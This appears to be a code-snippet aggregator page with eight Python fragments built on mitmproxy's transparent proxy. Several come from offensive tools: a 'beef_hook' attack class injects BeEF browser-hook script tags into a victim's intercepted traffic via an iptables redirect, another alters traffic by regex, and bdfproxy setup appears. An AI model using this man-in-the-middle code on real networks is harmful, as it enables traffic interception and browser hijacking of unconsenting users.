Exemplo n.º 1
0
    def __init__(self):
        Thread.__init__(self)

        config = proxy.ProxyConfig(
            cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"),
            transparent_proxy = dict (showhost=True,resolver = platform.resolver(), sslports = [443, 8443]) #Thanks nmonkee
        )
        state = flow.State()
        server = proxy.ProxyServer(config, 8080)
        self.m = MyMaster(server, state)
Exemplo n.º 2
0
class beef_hook(Attack):
    """ Injects BeEF hooks into poisoned traffic.  Requires libmproxy
        and it's dependencies
    """
    def __init__(self):
        self.hook_path = None
        self.proxy_server = None
        self.hooker = None
        self.hooked_host = None
        self.hook_script = "<script src=\"{0}\"></script>"
        self.iptable_http = "iptables -t nat -A PREROUTING -p tcp --dport 80 -s {0} -j REDIRECT --to-port 5544"
        super(beef_hook, self).__init__("BeEF Hook")

    def modip_rule(self, enable=True):
        """ enables or disables the iptable rule for forwarding traffic locally
        """
        if enable:
            util.init_app(self.iptable_http.format(self.hooked_host))
        else:
            util.init_app(
                self.iptable_http.replace('-A', '-D').format(self.hooked_host))

    def initialize(self):
        while True:
            try:
                self.hook_path = raw_input('[!] Enter path to BeEF Hook: ')
                self.hooked_host = raw_input('[!] Enter host to hook: ')

                tmp = raw_input(
                    '[!] Hooking host \'%s\'.  Is this correct? [Y/n] ' %
                    self.hooked_host)
                if 'n' in tmp.lower():
                    return None
                break
            except KeyboardInterrupt:
                return None
            except Exception, e:
                util.Error(e)

        self.hook_script = self.hook_script.format(self.hook_path)
        self.modip_rule()

        self.running = True
        config = proxy.ProxyConfig(transparent_proxy=dict(
            resolver=platform.resolver(), sslports=[443]))

        config.skip_cert_cleanup = True
        self.proxy_server = proxy.ProxyServer(config, 5544)
        self.hooker = Hooker(self.proxy_server, self.hook_script)

        thread = Thread(target=self.hooker.run)
        thread.start()

        return self.hooked_host
Exemplo n.º 3
0
    def __init__(self):
        Thread.__init__(self)

        config = proxy.ProxyConfig(
            cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"),
            transparent_proxy=dict(showhost=True,
                                   resolver=platform.resolver(),
                                   sslports=[443, 8443])  #Thanks nmonkee
        )
        state = flow.State()
        server = proxy.ProxyServer(config, 8080)
        self.m = MyMaster(server, state)
Exemplo n.º 4
0
    def initialize(self):
        self.hook_script = self.hook_script.format(self.config['hook_path'].value)
        self.modip_rule()

        self.running = True
        config = proxy.ProxyConfig(transparent_proxy=dict(
                                        resolver = platform.resolver(),
                                        sslports = [443])
                                )

        config.skip_cert_cleanup = True
        self.proxy_server = proxy.ProxyServer(config, 5544)
        self.hooker = Hooker(self.proxy_server, self.hook_script)

        util.Msg('Firing up BeEF hook...')
        thread = Thread(target=self.hooker.run)
        thread.start()

        return True
Exemplo n.º 5
0
    def initialize(self):
        self.load_file()
        if (len(self.replace_regex) + len(self.replace_tags)) <= 0:
            util.Error("No matches loaded.")
            return False

        self.modip()

        self.running = True
        config = proxy.ProxyConfig(transparent_proxy=dict(
            resolver=platform.resolver(), sslports=[443]))

        config.skip_cert_cleanup = True
        self.proxy_server = proxy.ProxyServer(config, 5544)
        self.hooker = Hooker(self.proxy_server, self.replace_regex,
                             self.replace_tags)

        util.Msg("Launching replacer...")
        thread = Thread(target=self.hooker.run)
        thread.start()

        return True
Exemplo n.º 6
0
    def initialize(self):
        self.load_file()
        if (len(self.replace_regex) + len(self.replace_tags)) <= 0:
            util.Error("No matches loaded.")
            return False

        self.modip()

        self.running = True
        config = proxy.ProxyConfig(transparent_proxy = dict(
                                    resolver = platform.resolver(),
                                    sslports = [443])
                                   )

        config.skip_cert_cleanup = True
        self.proxy_server = proxy.ProxyServer(config, 5544)
        self.hooker = Hooker(self.proxy_server, self.replace_regex,
                             self.replace_tags)

        util.Msg("Launching replacer...")
        thread = Thread(target=self.hooker.run)
        thread.start()

        return True
Exemplo n.º 7
0
        "Config file \'{}\' not found.".format(CONFIGFILE))
    sys.exit(1)

# Initial config file reading
user_cfg = ConfigObj(CONFIGFILE)
config = proxy.ProxyConfig(
    clientcerts=os.path.expanduser(user_cfg['Overall']['certLocation']),
    body_size_limit=user_cfg['Overall'].as_int('MaxSizeFileRequested'),
    port=user_cfg['Overall'].as_int('proxyPort'),
    mode=user_cfg['Overall']['proxyMode'],
)

if user_cfg['Overall']['proxyMode'] != "None":
    config.proxy_mode = {
        'sslports': user_cfg['Overall']['sslports'],
        'resolver': platform.resolver()
    }

server = ProxyServer(config)

numericLogLevel = getattr(logging, user_cfg['Overall']['loglevel'].upper(),
                          None)
if numericLogLevel is None:
    EnhancedOutput.print_error(
        "INFO, DEBUG, WARNING, ERROR, CRITICAL for loglevel in conifg")
    sys.exit(1)

logging.basicConfig(filename=user_cfg['Overall']['logname'],
                    level=numericLogLevel,
                    format='%(asctime)s|%(message)s')
Exemplo n.º 8
0
#Intial CONFIG reading
userConfig = ConfigObj('bdfproxy.cfg')

#################### BEGIN OVERALL CONFIGS ############################
#DOES NOT UPDATE ON THE FLY
resourceScript = userConfig['Overall']['resourceScript']

config = proxy.ProxyConfig(clientcerts=os.path.expanduser(userConfig['Overall']['certLocation']),
                           body_size_limit=int(userConfig['Overall']['MaxSizeFileRequested']),
                           port=int(userConfig['Overall']['proxyPort']),
                           mode=userConfig['Overall']['transparentProxy'],
                           )

if userConfig['Overall']['transparentProxy'] != "None":
    config.transparent_proxy = {'sslports': userConfig['Overall']['sslports'],
                                'resolver': platform.resolver()
                                }

server = ProxyServer(config)

numericLogLevel = getattr(logging, userConfig['Overall']['loglevel'].upper(), None)

if not isinstance(numericLogLevel, int):
    raise ValueError("o_O: INFO, DEBUG, WARNING, ERROR, CRITICAL for loglevel in conifg")
    sys.exit()

logging.basicConfig(filename=userConfig['Overall']['logname'],
                    level=numericLogLevel,
                    format='%(asctime)s %(message)s'
                    )